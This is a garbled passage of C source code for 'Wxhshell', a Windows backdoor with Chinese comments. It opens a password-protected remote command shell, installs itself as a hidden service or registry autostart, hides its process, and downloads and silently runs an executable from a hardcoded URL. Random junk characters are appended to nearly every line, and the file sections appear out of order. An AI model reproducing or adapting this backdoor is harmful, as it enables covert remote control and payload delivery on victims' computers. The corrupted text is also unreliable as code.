ULONG InheritedFromUniqueProcessId; R b\=\
} PROCESS_BASIC_INFORMATION; f+%J=Am
$vlgiJ&f
PROCNTQSIP NtQueryInformationProcess; uSM4:!8
+*!oZKm.
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H&3VPag
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Vj O
[hx
:[|`&_D9J
HANDLE hProcess; ^?&Jq_oU
PROCESS_BASIC_INFORMATION pbi; % 49@
^X"G~#v=q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dGP*bMCT
if(NULL == hInst ) return 0; /o+,
=7hY
J>]' {!+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +7N6]pK|"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZCbxL.fFz
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T*-*U/
@\u)k
if (!NtQueryInformationProcess) return 0; @*%Q,$
jr"yIC_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <s]K~ Vo
if(!hProcess) return 0; ,^:Zf|V
Xdq2 .:\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T1\Xz-1
$axaI$bE
CloseHandle(hProcess); zd>[uIOR
^ylJ_lN&=1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !ny;YV
if(hProcess==NULL) return 0; A}OV>y M
ElqHZ$a?
HMODULE hMod; 3f
eI
char procName[255]; OtY.s\m y
unsigned long cbNeeded; 6(DK\58
DY~~pi~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {BY`Wu:w
"MM7qV
CloseHandle(hProcess); mK@\6GOMYP
5(u7b
if(strstr(procName,"services")) return 1; // 以服务启动 q6\z]8)
'[`.&-;
return 0; // 注册表启动 +CX2W('
} F@"Xd9q?
SO]x^+[
// 主模块 jWUN~#p!
int StartWxhshell(LPSTR lpCmdLine) u?Iop/b
{ dm)V \?b
SOCKET wsl; a%Mbq;
BOOL val=TRUE; K34ca-~
int port=0; ;# {XNq<1
struct sockaddr_in door; _+z@Qn?#6h
$J=9$.4"
if(wscfg.ws_autoins) Install(); =
fuF]yL%
7s<v06Wo
port=atoi(lpCmdLine); \eI )(,A
f*2V
if(port<=0) port=wscfg.ws_port;
|cWW5\/
B/i,QBPF]
WSADATA data; Q(oWaG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [-s0'z
rTDx|pvYx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &zb_8y,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W_O,Kao
door.sin_family = AF_INET; f^:9gRt
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .fUqsq
door.sin_port = htons(port); W-7yi`5
ZKAIG=l&!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q fadsVp
closesocket(wsl); q<,?:g$k
return 1; Fr/8q:m&
} IDdhBdQ
EOVHTDkKf
if(listen(wsl,2) == INVALID_SOCKET) { .6(Bf$E
closesocket(wsl); s@^GjA[6+
return 1; J@(*(oQb
} xfos>|0N
Wxhshell(wsl);
5t:4%
WSACleanup(); xg. d)n
1a/@eqF''
return 0; |~8iNcIS
~Jp\'P7*
} 8
E.u3eS
7I(Sa?D:
// 以NT服务方式启动 ]1abz:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 31Zl"-<#-
{ S%mN6b~{
DWORD status = 0; +]`MdOu
DWORD specificError = 0xfffffff; _BHb0zeot
9.#\GI ;
serviceStatus.dwServiceType = SERVICE_WIN32; ;=F^G?p^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5W 5\*L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^0~?3t5
serviceStatus.dwWin32ExitCode = 0; V8[woJ5x
serviceStatus.dwServiceSpecificExitCode = 0; lJ R",_
serviceStatus.dwCheckPoint = 0; CuT[V?^iD
serviceStatus.dwWaitHint = 0; UKMrR9[x*
&R\
.^3
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]c[80F-
if (hServiceStatusHandle==0) return; 'ZTE"KT
.~ZNlI {K
status = GetLastError(); aR*z5p2-w
if (status!=NO_ERROR) Kdik7jL/J
{ kpxd+w
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4q~+K'Z
serviceStatus.dwCheckPoint = 0; Ct$e`H!;
serviceStatus.dwWaitHint = 0; PO<4rT+B
serviceStatus.dwWin32ExitCode = status; &qMSJ
serviceStatus.dwServiceSpecificExitCode = specificError; tA}O'x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q:J,xC_sF(
return; -UUPhGC
} @xSS`&b
kTc'k
serviceStatus.dwCurrentState = SERVICE_RUNNING; n8iejdA'
serviceStatus.dwCheckPoint = 0; *oZBv4Vh
serviceStatus.dwWaitHint = 0; _d %H;<_
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lwQI
9U[O2
} l')?w]|
kX+y2v(2++
// 处理NT服务事件,比如:启动、停止 wKXKc\r
VOID WINAPI NTServiceHandler(DWORD fdwControl) KosAc'/ M
{ vT\`0di~
switch(fdwControl) ;w}ZI<ou
{ K}&|lCsb
case SERVICE_CONTROL_STOP: gqyQ Zew
serviceStatus.dwWin32ExitCode = 0; %I&Hx<Hj
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0)yvyQ5
serviceStatus.dwCheckPoint = 0; nd'zO#"m?
serviceStatus.dwWaitHint = 0; ;IXDZ#;
{ xwTN\7f>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I$9t^82j
} 5~aSkg,MD
return; oPo<F5M]d%
case SERVICE_CONTROL_PAUSE: \iSaxwU_
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]\sBl
break; h&NcN-["
case SERVICE_CONTROL_CONTINUE: wrac\.
serviceStatus.dwCurrentState = SERVICE_RUNNING; UT==x<
break; WnvuB.(@3
case SERVICE_CONTROL_INTERROGATE: efl6U/'Ij
break; pWO,yxr:
}; o*'J8El\y^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l?pZdAE
} a}hpcr({?
BqCBH!^x
// 标准应用程序主函数 QVb@/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6EGh8H f
{ zw7=:<z=
~Pv4X2MO
// 获取操作系统版本 O}Fp\"
OsIsNt=GetOsVer(); TL1pv l
GetModuleFileName(NULL,ExeFile,MAX_PATH); lRZt))3
u"?cmg<.1
// 从命令行安装 $X
WJxQRUv
if(strpbrk(lpCmdLine,"iI")) Install(); azS"*#r6}
{%N*AxkvId
// 下载执行文件 kJZBQ<^
if(wscfg.ws_downexe) { HZkC3$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ac^}wXp
WinExec(wscfg.ws_filenam,SW_HIDE); _F;(#D
} &owBmpz
_udH(NC
if(!OsIsNt) { !3kyPoq+
// 如果时win9x,隐藏进程并且设置为注册表启动 fS w00F{T
HideProc(); ?h<I:[oZ
StartWxhshell(lpCmdLine); VkRvmKYl
} x6.an_W6
else s'tmak-}|
if(StartFromService()) <,`=m|z9k
// 以服务方式启动 R1&(VK{
StartServiceCtrlDispatcher(DispatchTable); O5{
>k
else O-U_Zx0zd
// 普通方式启动 [3]!*Cd
StartWxhshell(lpCmdLine); %a{cJ6P
w`CGDF\Oo
return 0; e7{3:y|]d3
} zY bSv~)
K0g<11}(Yg
HulN84
Hhx<k{B@7
=========================================== ,fT5I6l
S^c5
RI')iz?
vaxNF%^~yN
r[Qk-}@vp
DSM,dO'
" kK16+`\+
cr27q6_
#include <stdio.h> vMRM/.
#include <string.h> |F iL1_
#include <windows.h> |GA4fFE=
#include <winsock2.h> gX{V>T(<
#include <winsvc.h> A%"mySW
#include <urlmon.h> 38>8{Ma
f]h99T
#pragma comment (lib, "Ws2_32.lib") CTD{!I(
#pragma comment (lib, "urlmon.lib") I'`Q_5s5
d-#MRl$rtK
#define MAX_USER 100 // 最大客户端连接数 :eo2t>zF-<
#define BUF_SOCK 200 // sock buffer Om\?<aul
#define KEY_BUFF 255 // 输入 buffer 0N;Pb(%7UU
"e&S*8QhM
#define REBOOT 0 // 重启 k =ru)
_$2
#define SHUTDOWN 1 // 关机 z%}^9
(fUXJ$
#define DEF_PORT 5000 // 监听端口 cZe,l1$
S"!nM]2L
#define REG_LEN 16 // 注册表键长度 #W @6@Mv
#define SVC_LEN 80 // NT服务名长度 erdWGUfQOe
r\F`xtR(
// 从dll定义API x&8HBF'
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S=U*is
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jI_TN5
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gLaFIeF<+
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l-Xxur5M'
`jSxq66L p
// wxhshell配置信息 `9(TqcE
struct WSCFG { isLIfE>
int ws_port; // 监听端口 eRWTuIV6
char ws_passstr[REG_LEN]; // 口令 PB.@G,)
int ws_autoins; // 安装标记, 1=yes 0=no IR;lt 3
char ws_regname[REG_LEN]; // 注册表键名 J-:\^uP
char ws_svcname[REG_LEN]; // 服务名 ReE6h\j
char ws_svcdisp[SVC_LEN]; // 服务显示名
D^E1
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /(bPc12
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pUZbZ
U
int ws_downexe; // 下载执行标记, 1=yes 0=no GO.mT/rB
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q0Y0Zt,h
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .,)NDG4Q
;$ D*,W
*
}; [>A%%
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// default Wxhshell configuration /[#<@o
struct WSCFG wscfg={DEF_PORT, 7{
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"xuhuanlingzhe", ,P3nZ
1, @SF*Kvb&
"Wxhshell", 4yV}4f$q
"Wxhshell", : P>Wd3m
"WxhShell Service", v/
dSz/<]
"Wrsky Windows CmdShell Service", :rnn`/L
"Please Input Your Password: ", ryy".'v
1, zF[kb%o
"http://www.wrsky.com/wxhshell.exe", vrXUS9i.
"Wxhshell.exe" @MWrUx
}; xL3-(K6e
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// 消息定义模块 ow,I|A
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t7pe)i,)
char *msg_ws_prompt="\n\r? for help\n\r#>"; qgbp-A!2zF
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Td4 o&JR
char *msg_ws_ext="\n\rExit."; Wf^6:
char *msg_ws_end="\n\rQuit."; $vnshU8/v
char *msg_ws_boot="\n\rReboot..."; 3R1v0
char *msg_ws_poff="\n\rShutdown..."; Cu3^de@h
char *msg_ws_down="\n\rSave to "; _5uzu6:y
5 6;lB$)"
char *msg_ws_err="\n\rErr!"; Cb~_{$ A
char *msg_ws_ok="\n\rOK!"; /~yk
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char ExeFile[MAX_PATH]; p&/}0eL y
int nUser = 0; R#eY@N}\
HANDLE handles[MAX_USER]; 7%)
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int OsIsNt; `rzgC \
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SERVICE_STATUS serviceStatus; hg_@Ui@[z
SERVICE_STATUS_HANDLE hServiceStatusHandle; 9!6sf
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;i\m:8!;
// 函数声明 "q5Tw+KCfu
int Install(void); WI/&r5rq
int Uninstall(void); ?B3
int DownloadFile(char *sURL, SOCKET wsh); `?+lM
int Boot(int flag); |j($2.
void HideProc(void); }SIUsh'
int GetOsVer(void); h W\q
int Wxhshell(SOCKET wsl); @iWql*K;m
void TalkWithClient(void *cs); 8Ux3,X=
int CmdShell(SOCKET sock); Hy`Ee7>
int StartFromService(void); u;R<
int StartWxhshell(LPSTR lpCmdLine); 0l=g$G
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); owHhlS{
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Byw]\3v
RwJ#G7S#
// 数据结构和表定义 dr#g[}l'H
SERVICE_TABLE_ENTRY DispatchTable[] = ?s/]k#H
{ Bj5_=oo+d
{wscfg.ws_svcname, NTServiceMain}, Y -%g5
{NULL, NULL} V+j58Wuf
};
#/a>dK
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